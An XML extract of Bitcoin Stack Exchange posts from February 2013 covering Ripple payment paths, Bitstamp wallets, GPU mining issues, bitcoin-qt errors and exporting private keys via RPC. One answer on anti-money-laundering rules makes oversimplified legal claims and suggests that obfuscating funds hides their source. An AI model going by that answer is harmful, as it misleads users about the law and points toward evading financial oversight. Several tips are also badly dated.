  <row Id="7873" PostTypeId="2" ParentId="7871" CreationDate="2013-02-23T05:08:52.097" Score="1" Body="&lt;p&gt;It will happen automatically when you pay someone who only accepts Bitcoins from the other gateway. There are several different ways you could form transactions to do this, but I think the client doesn't currently give you an easy way to get to any of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Ripple system internals, people can create offers whose sides are the same currency but different issuers. However, you can also achieve the same effect without having to go through an offer (and likely at a lower cost) by using a circular payment path with no exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, you can't do this with the client currently, but here's how it works on the server side:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You have 1 WeExchange BTC. You want 1 Bitstamp BTC.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You form a payment path like this:&lt;br&gt;&#xA;&lt;code&gt;You/BTC&lt;/code&gt; -&gt; &lt;code&gt;WeEx/BTC&lt;/code&gt; -&gt; &lt;code&gt;???&lt;/code&gt; -&gt; &lt;code&gt;Bitstamp/BTC&lt;/code&gt; -&gt; &lt;code&gt;You/BTC&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You hand this payment path to the server, telling it you want to get 1 Bitcoin out.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The server finds the cheapest way to do it. Most likely, it will find one or more people who have extended trust to WeEx/BTC and hold Bitstamp/BTC. You can use any of those people. (For safety, you can pick three to make sure your transaction goes through.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the three payment paths the server found you, you form a &quot;Payment&quot; transaction. Assuming all three of those people don't change their trust or balance settings before your transaction applies, the exchange is complete. Someone in the middle has your WeEx/BTC and you have their Bitstamp/BTC.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that if there's an exchange offer that gives you better than 1-to-1, the pathfinding scheme will use that instead. So you could wind up with more bitcoins out than in. (Though it's not likely.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This actually will not allow you to get 1 Bitcoin out because you would have to pay two transfer fees to transfer the Bitstamp and WeEx IOUs. The total of the transfer fees is something like .7%, so you'd only get .993 Bitcoins out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, if you're not in a hurry, you could drop your credit limit to WeExchange to zero. This signals that you want to get rid of your WeExchange IOUs. Anyone picking a payment path like above in the other direction will try to accommodate you. Then they'd pay the transfer fees. (The current pathfinding algorithm doesn't always do this, but the new one scheduled to replace it shortly will be better at this.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-03-01T18:00:52.277" LastActivityDate="2013-03-01T18:00:52.277" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7874" PostTypeId="2" ParentId="7868" CreationDate="2013-02-23T06:47:04.163" Score="2" Body="&lt;p&gt;You don't need to add ILS - It supports all ISO4217 currencies. &lt;a href=&quot;https://github.com/rippleFoundation/ripple-client/blob/master/src/js/data/iso4217.js#L82&quot; rel=&quot;nofollow&quot;&gt;This is the line that adds ILS&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-23T06:47:04.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7875" PostTypeId="1" AcceptedAnswerId="7893" CreationDate="2013-02-23T07:13:11.707" Score="4" ViewCount="2220" Body="&lt;p&gt;I'm running on a 15&quot; Retina MBP and have just been playing around with mining on it a little bit.  I realize GPU mining is almost dead at the moment, but bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overnight last night I was running the BitMinter Java client and getting around ~20Mh/s.  I fired it up again this evening, and for some reason, am now only getting around 5Mh/s.  I'm seeing the same rate on both the BitMinter java client as well as with cgminer.  Nothing has changed on my system over the last day other than having to reboot it a few times for other reasons.  Does anyone have any idea why my Mh/s output rate has fallen so much?&lt;/p&gt;&#xA;" OwnerUserId="3043" LastEditorUserId="5406" LastEditDate="2016-04-17T19:08:17.823" LastActivityDate="2016-04-17T19:08:17.823" Title="Sudden Drop in Hash Rate GeForce 650 GPU Card" Tags="|hashpower|gpu-mining|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7877" PostTypeId="1" AcceptedAnswerId="7879" CreationDate="2013-02-23T08:23:36.313" Score="4" ViewCount="4595" Body="&lt;p&gt;I see &lt;a href=&quot;https://ripple.com/wiki/Gateway_List&quot; rel=&quot;nofollow&quot;&gt;on the wiki&lt;/a&gt; that they're the 2nd Gateway, but don't see anything about it on their site.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-05-12T11:45:46.093" LastActivityDate="2013-05-13T07:38:07.543" Title="How to find BitStamp's Ripple address?" Tags="|ripple|ripple-gateways|bitstamp|" AnswerCount="1" CommentCount="4" ClosedDate="2013-05-13T16:16:57.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="7878" PostTypeId="2" ParentId="7860" CreationDate="2013-02-23T13:46:38.440" Score="2" Body="&lt;p&gt;I would argue BitMinter client is the easiest miner. You go to &lt;a href=&quot;http://bitminter.com&quot; rel=&quot;nofollow&quot;&gt;bitminter.com&lt;/a&gt; and click the &quot;start engine&quot; button to start it. You may have to go by &lt;a href=&quot;http://java.com&quot; rel=&quot;nofollow&quot;&gt;java.com&lt;/a&gt; and install Java if you don't have it already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the window pops up click &quot;devices&quot; -&gt; &quot;probe all ports&quot; in the pulldown menus to detect connected FPGAs and ASICs. Then click the &quot;start engine&quot; button to start mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be an update soon to support BFL (Butterfly Labs) ASICs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to mine on Avalon it has a builtin computer with mining software preinstalled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;disclaimer: I am the author of BitMinter client.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="196" LastEditDate="2013-02-23T16:40:48.020" LastActivityDate="2013-02-23T16:40:48.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7879" PostTypeId="2" ParentId="7877" CreationDate="2013-02-23T16:32:30.603" Score="4" Body="&lt;p&gt;Under &lt;a href=&quot;https://www.bitstamp.net/account/withdraw/ripple/&quot; rel=&quot;nofollow&quot;&gt;Withdrawal/Ripple&lt;/a&gt; there is a link named &quot;trust this address&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(removed from here the address itself due to a good suggestion: don't trust what is written here, go there and have a look yourself)&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-05-13T07:38:07.543" LastActivityDate="2013-05-13T07:38:07.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7880" PostTypeId="1" AcceptedAnswerId="7888" CreationDate="2013-02-23T17:51:31.930" Score="2" ViewCount="217" Body="&lt;p&gt;Where could I discuss Bitcoin price speculation, and calculating fair spot and future price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general for stackexchange sites, the factors for here and now would be &quot;too localized&quot; I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I will try to broaden it. Bitcoin price - being a deflationary currency with a known max number of coins that haven't been mined or minted yet - seems to be functioning like futures converging to a spot price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variable factors being perceived difficulty in mining versus advances in hardware to allow mining, if you look at the difficulty charts and their correlation to price, so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think with just these two factors it will be possible to calculate theoretical prices, independent of the buy/sell bidder's market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any resources on this, or perhaps a better place to discuss this&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="5406" LastEditDate="2016-04-01T09:16:55.533" LastActivityDate="2016-04-01T09:16:55.533" Title="Bitcoin price speculation resources" Tags="|exchange-rate|speculation|community|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7881" PostTypeId="1" CreationDate="2013-02-23T17:58:46.810" Score="1" ViewCount="96" Body="&lt;p&gt;When Bitcoin was making the media waves back in 2011, a lot of it focused on the anonymity aspect of bitcoins, the hacks, and the illegal contents of the silk road onion address. From my limited understanding, it didn't seem like bitcoin wallet owners and transactions were all that anonymous, only merely obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like one would have to go out of their way to really make their bitcoin ownership anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like empirical resources on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) finding a user through a block chain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) further obfuscating ownership of bitcoins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and any other currently relevant or useful literature. Perhaps a case study of an actual investigation on a bitcoin holder. (Like tracking down perps in the bigger security breaches)&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="2306" LastEditDate="2013-02-23T18:46:54.473" LastActivityDate="2013-02-23T18:46:54.473" Title="How difficult is it to determine the owner of some bitcoins?" Tags="|privacy|hacking|silk-road|" AnswerCount="0" CommentCount="2" ClosedDate="2013-02-24T05:08:49.023" ContentLicense="CC BY-SA 3.0" />
  <row Id="7882" PostTypeId="1" AcceptedAnswerId="7896" CreationDate="2013-02-23T20:48:35.280" Score="11" ViewCount="4687" Body="&lt;p&gt;The bitstamp address &quot;to trust&quot; is &lt;code&gt;rvYAfWj5gh67oV6fW32ZzP3Aw4Eubs59B&lt;/code&gt;, however when you withdraw money, it you get it from &lt;code&gt;rrpNnNLKrartuEqfJGpqyDwPj1AFPg9vn1&lt;/code&gt; instead. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With weexchange I got the money from the same address I trusted.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-04-06T18:32:00.170" LastActivityDate="2017-10-16T13:57:06.210" Title="Why does bitstamp have two addresses for Ripple?" Tags="|ripple|ripple-gateways|bitstamp|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7884" PostTypeId="5" CreationDate="2013-02-23T22:06:01.547" Score="0" Body="&lt;p&gt;Official website: &lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bitstamp.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="121614" LastEditDate="2023-10-11T16:32:08.160" LastActivityDate="2023-10-11T16:32:08.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7885" PostTypeId="4" CreationDate="2013-02-23T22:06:01.547" Score="0" Body="Bitstamp is a European cryptocurrency exchange founded in 2011." OwnerUserId="196" LastEditorUserId="121614" LastEditDate="2023-10-11T16:32:08.160" LastActivityDate="2023-10-11T16:32:08.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7886" PostTypeId="1" AcceptedAnswerId="7997" CreationDate="2013-02-23T22:12:09.693" Score="3" ViewCount="3207" Body="&lt;p&gt;I was running the stable 0.7.2 bitcoin-qt client (under OS X 10.8.2) for a couple of weeks, with the block-chain completely sync'ed on an ongoing basis. No transactions in my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded to the 0.8.0b release, and it spent a few hours reindexing the entire blockchain and catching up. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0.8.0 client continued to run normally (launch, download / sync new blocks, etc.) for several days. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, today, it crashes right after loading the wallet, but before it attempts any network connections. Crash is reproducible and persistent across reboots. Here's where the debug.log output ends. (No further errors.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin version v0.8.0-beta (2013-02-18 18:38:34 -0500)&#xA;...&#xA;init message: Verifying block database integrity...&#xA;Verifying last 288 blocks at level 3&#xA;No coin database inconsistencies in last 222481 blocks (8492 transactions)&#xA;block index            4479ms&#xA;init message: Loading wallet...&#xA;nFileVersion = 80000&#xA;wallet                 1500ms&#xA;init message: Importing blocks from block database...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2960" LastActivityDate="2013-02-27T20:32:00.563" Title="Bitcoin-qt v0.8.0b client on Mac OS X 10.8 crashes, why?" Tags="|client|bitcoin-core|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7887" PostTypeId="2" ParentId="7886" CreationDate="2013-02-23T22:24:09.417" Score="0" Body="&lt;p&gt;I had the same thing happen to me on Windows (older version of the client though), reinstalling Bitcoin solved the problem for me.&lt;/p&gt;&#xA;" OwnerUserId="2059" LastActivityDate="2013-02-23T22:24:09.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7888" PostTypeId="2" ParentId="7880" CreationDate="2013-02-23T22:56:50.403" Score="2" Body="&lt;p&gt;The Speculation board on the BitcoinTalk forum is nonstop speculation.  That would probably be the best place to share your theories and analysis and to collaborate. &lt;a href=&quot;http://bitcointalk.org/index.php?board=57.0&quot; rel=&quot;nofollow&quot;&gt;Enjoy!&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a fair amount of discussion that falls under the category of speculation that also occurs on the &lt;a href=&quot;http://webchat.freenode.net/?channels=#bitcoin-otc&quot; rel=&quot;nofollow&quot;&gt;#bitcoin-otc IRC channel&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://reddit.com/r/bitcoin&quot; rel=&quot;nofollow&quot;&gt;/r/bitcoin&lt;/a&gt; on Reddit seems to get its share of &quot;OMG $30 Soon!&quot; posts.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-23T22:56:50.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7889" PostTypeId="1" AcceptedAnswerId="7890" CreationDate="2013-02-24T00:08:42.620" Score="5" ViewCount="5133" Body="&lt;p&gt;What is the correct rpc call to start a new account on a bitcoind server?&lt;/p&gt;&#xA;" OwnerUserId="3008" LastActivityDate="2015-11-14T05:37:22.560" Title="How to create an new account on a bitcoind server" Tags="|bitcoind|json-rpc|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7890" PostTypeId="2" ParentId="7889" CreationDate="2013-02-24T00:16:31.077" Score="3" Body="&lt;p&gt;You can do one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create an address using &lt;code&gt;getnewaddress&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;send some coins with a &lt;code&gt;move&lt;/code&gt; command&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those commands will automatically create the target account if it doesn't exist.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-02-24T10:14:13.987" LastActivityDate="2013-02-24T10:14:13.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7891" PostTypeId="1" CreationDate="2013-02-24T02:30:13.317" Score="1" ViewCount="1449" Body="&lt;p&gt;I got the following error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error initializing database environment /home/rune/.bitcoin!  &#xA;To recover, BACKUP THAT DIRECTORY, then remove everything from it except for wallet.dat.  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I run bitcoin-qt..&lt;br&gt;&#xA;I am using Ubuntu.  &lt;/p&gt;&#xA;" OwnerUserId="3051" LastEditorUserId="15412" LastEditDate="2014-06-17T22:04:58.547" LastActivityDate="2014-06-17T22:04:58.547" Title="how to solve this error ? and use detachdb?" Tags="|bitcoin-core|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7892" PostTypeId="1" CreationDate="2013-02-24T03:18:11.793" Score="-1" ViewCount="222" Body="&lt;p&gt;I am fairly new to this and I am worried I just wasted 300. It just says out of sync. How do I add my bitcoin wallet to Mt. Gox? &lt;/p&gt;&#xA;" OwnerUserId="3052" LastActivityDate="2013-02-24T10:23:23.900" Title="How to add bitcoin wallet to Mt. Gox?" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7893" PostTypeId="2" ParentId="7875" CreationDate="2013-02-24T04:11:05.590" Score="3" Body="&lt;p&gt;I think I figured out my own issue here.  I reset the SMC on the macbook (&lt;a href=&quot;http://support.apple.com/kb/HT3964&quot; rel=&quot;nofollow&quot;&gt;http://support.apple.com/kb/HT3964&lt;/a&gt;) and my GPU performance is back to normal.&lt;/p&gt;&#xA;" OwnerUserId="3043" LastActivityDate="2013-02-24T04:11:05.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7894" PostTypeId="1" AcceptedAnswerId="9287" CreationDate="2013-02-24T04:36:33.003" Score="-1" ViewCount="1136" Body="&lt;p&gt;I'm trying to use litecoin on OSX with NVidia or CPU mining, and &lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/&quot; rel=&quot;nofollow&quot;&gt;downloaded the binary from here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific binary I extracted was &lt;code&gt;cgminer-2.10.5-x86_64-built.tar.bz2&lt;/code&gt;.  I extracted it and used terminal to CD into the extracted directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a file there that has execute permissions on it ( &lt;code&gt;ls -lag&lt;/code&gt; )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rwxr-xr-x@  1 staff  382808 Feb  7 01:50 cgminer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I double click on, or run the app cgminer OSX says: &lt;code&gt;cannot execute binary file&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I verified that my security settings are set to run &quot;unsigned programs from any author&quot; but I don't think that matters in OSX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I run cgminer on OSX?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server:cgminer-2.10.5-x86_64-built username$ od cgminer | head&#xA;0000000    042577  043114  000402  000001  000000  000000  000000  000000&#xA;0000020    000002  000076  000001  000000  072500  000100  000000  000000&#xA;0000040    000100  000000  000000  000000  150130  000005  000000  000000&#xA;0000060    000000  000000  000100  000070  000011  000100  000034  000033&#xA;0000100    000006  000000  000005  000000  000100  000000  000000  000000&#xA;0000120    000100  000100  000000  000000  000100  000100  000000  000000&#xA;0000140    000770  000000  000000  000000  000770  000000  000000  000000&#xA;0000160    000010  000000  000000  000000  000003  000000  000004  000000&#xA;0000200    001070  000000  000000  000000  001070  000100  000000  000000&#xA;0000220    001070  000100  000000  000000  000034  000000  000000  000000 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-02-24T16:47:45.730" LastActivityDate="2013-04-07T09:58:22.257" Title="cgminer on OSX: Cannot open executable file" Tags="|mac|litecoin|cgminer|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7895" PostTypeId="2" ParentId="7892" CreationDate="2013-02-24T04:42:25.047" Score="-1" Body="&lt;p&gt;Sorry to hear you accidentally 300 - we've all been there at one point or another. To answer your questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2380/help-i-sent-coins-to-my-bitcoin-wallet-before-it-was-properly-synced&quot;&gt;I sent bitcoins to a bitcoin client that hadn't fully synced - are my bitcoins lost?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I add my bitcoin wallet to Mt. Gox?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.mtgox.com/entries/20290301-Step-2-Adding-Funds&quot; rel=&quot;nofollow noreferrer&quot;&gt;Click &quot;Add Funds&quot;, choose Bitcoins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-02-24T04:42:25.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7896" PostTypeId="2" ParentId="7882" CreationDate="2013-02-24T05:08:05.123" Score="14" Body="&lt;p&gt;They use &lt;a href=&quot;https://ripple.com/wiki/Hot_%26_cold_wallet_setup&quot; rel=&quot;nofollow&quot;&gt;hot and cold wallets&lt;/a&gt; for security reasons. The address you trust can create an infinite number of IOUs and so its key must be carefully secured. The address they transferred to you from must be able to perform transactions easily and quickly and so cannot be fully secured.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="3364" LastEditDate="2014-05-03T18:51:42.907" LastActivityDate="2014-05-03T18:51:42.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7897" PostTypeId="1" AcceptedAnswerId="7903" CreationDate="2013-02-24T06:57:02.130" Score="4" ViewCount="2381" Body="&lt;p&gt;I see quite a few answers from Joel Katz, and a friend of mine referred to him as &quot;a Ripple founder&quot;. Is this true? His name is not mentioned &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7554/who-are-the-core-developers-behind-ripple&quot;&gt;on this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-01-25T16:24:31.357" Title="What is Joel Katz' role in Ripple?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7898" PostTypeId="1" CreationDate="2013-02-24T07:43:52.863" Score="2" ViewCount="2158" Body="&lt;p&gt;My wallet just won't synchronize and I have 10 bitcoins there. I need to use blockchain but I cannot get my import key. Can anyone please help me? &lt;/p&gt;&#xA;" OwnerUserId="3052" LastEditorUserId="196" LastEditDate="2013-02-24T10:17:06.057" LastActivityDate="2013-02-24T13:33:35.467" Title="How to get private key from bitcoin wallet?" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7899" PostTypeId="2" ParentId="7536" CreationDate="2013-02-24T08:40:38.267" Score="11" Body="&lt;p&gt;If you never encrypted your wallet, then you don't need to do the &quot;walletpassphrase&quot; command.  That's only needed to unlock the wallet if it is protected with passphrase encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the public key for dumpprivkey, that is asking what Bitcoin address you want the private key for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the list of Bitcoin addresses in your wallet, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listreceivedbyaddress 0 true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-02-24T08:47:26.647" LastActivityDate="2013-02-24T08:47:26.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7900" PostTypeId="2" ParentId="7898" CreationDate="2013-02-24T08:52:04.963" Score="2" Body="&lt;p&gt;Blockchain.info can create a new wallet from an existing Bitcoin.org client's wallet.dat with a simple Drag and Drop:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/import-wallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The wallet.dat is in the &lt;a href=&quot;http://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;data directory&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-24T08:52:04.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7901" PostTypeId="1" CreationDate="2013-02-24T09:20:01.147" Score="0" ViewCount="67" Body="&lt;p&gt;I have downloaded the bitcoin software and I am starting it up for the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it begins to download the entire transaction history, which takes a huge amount of time (for some reason). I thought it was my connection in the beginning, but even when I arrived home with a relatively good connection (I can download 1.5MBps without disconnections, and a good latency), it still takes very very long (It's been up for 2 whole nights, and it's not even past 50%. Either the size of it is over 500 GB (which isn't likely), or something is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did anyone else experience the problem? Is it even a problem? (or is their server not that good?).&lt;/p&gt;&#xA;" OwnerUserId="3055" LastActivityDate="2013-02-24T09:20:01.147" Title="Why does it take so long to initially sync with my bitcoin wallet?" Tags="|synchronization|" AnswerCount="0" CommentCount="3" ClosedDate="2013-02-25T10:35:02.927" ContentLicense="CC BY-SA 3.0" />
  <row Id="7902" PostTypeId="2" ParentId="7892" CreationDate="2013-02-24T10:23:23.900" Score="0" Body="&lt;p&gt;While you &lt;em&gt;can&lt;/em&gt; keep your funds on Mt. Gox, it is not advisable to do so, for the reasons &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2743/pros-and-cons-of-using-mt-gox-as-an-e-wallet&quot;&gt;listed here&lt;/a&gt;. So you would better find an e-wallet you like (I suggest blockchain.info), and send your funds there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always keep a backup, and never forget your passphrase!&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-02-24T10:23:23.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7903" PostTypeId="2" ParentId="7897" CreationDate="2013-02-24T10:27:00.967" Score="6" Body="&lt;p&gt;&quot;JoelKatz&quot; is the bitcointalk.org handle of &lt;a href=&quot;https://bitcoin.stackexchange.com/users/85/david-schwartz&quot;&gt;David Schwartz&lt;/a&gt;. He answered the linked question and referred to himself as &quot;myself&quot;, and you should see him listed under this name as a Ripple developer in other places.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-02-24T11:29:15.210" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7904" PostTypeId="2" ParentId="7898" CreationDate="2013-02-24T10:38:52.267" Score="0" Body="&lt;p&gt;Start your bitcoind/bitcoin-qt with &lt;code&gt;-rescan&lt;/code&gt; switch.&#xA;Then it should synchronize after re-scanning the chain.&#xA;Otherwise you can use RPC command &lt;code&gt;dumpprivkey &amp;lt;bitcoinaddress&amp;gt;&lt;/code&gt; to export private key. Such an exported key you can import to another wallet with &lt;code&gt;importprivkey &amp;lt;bitcoinprivkey&amp;gt; [label] [rescan=true]&lt;/code&gt;. You can also import it to your MtGox wallet.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastEditorUserId="196" LastEditDate="2013-02-24T13:33:35.467" LastActivityDate="2013-02-24T13:33:35.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7905" PostTypeId="1" CreationDate="2013-02-24T13:37:11.290" Score="3" ViewCount="1076" Body="&lt;p&gt;When trading with bitcoins using mtgox, or bitcoin-24, or bitcoin.de, you will have in your account many transfers of money, to many people and from many people. In europe if the sum of the transactions is more than 10.000 €, your bank should send a notice to anty-laundering authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you manage it?&lt;/p&gt;&#xA;" OwnerUserId="2707" LastActivityDate="2013-08-14T17:04:20.923" Title="If you trade with bitcoins, how do you manage to &quot;explain&quot; anti-laundering authorities the money-in &amp; money-out?" Tags="|banks|taxes|money-laundering|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7906" PostTypeId="2" ParentId="7905" CreationDate="2013-02-24T14:01:58.570" Score="5" Body="&lt;p&gt;I think your premise is flawed - when trading on Mtgox or other exchanges, there will only be transfers between you and Mtgox. If you're a day trader most trades will be internal on Mtgox and not be settled by the banks at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if they do &quot;send a notice to anti-laundering authorities&quot;, it doesn't mean the next day they will show up at your doorstep to arrest you, it just means those authorities are aware of the transactions, and if they detect a suspicious pattern they may ask you questions. In this case you can just tell the truth.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-02-24T14:01:58.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7907" PostTypeId="2" ParentId="7905" CreationDate="2013-02-24T15:33:06.047" Score="0" Body="&lt;p&gt;A key component behind US and EU anti money-laundering statutes is that the burden of proof is on the accuser/government to determine an illicit &lt;b&gt;source&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mere fact that the source is obfuscated means nothing. The irony for the accuser being that effective obfuscation will hide the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, as mentioned. The trades are done at an exchange and not through your EU bank.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-02-24T15:33:06.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
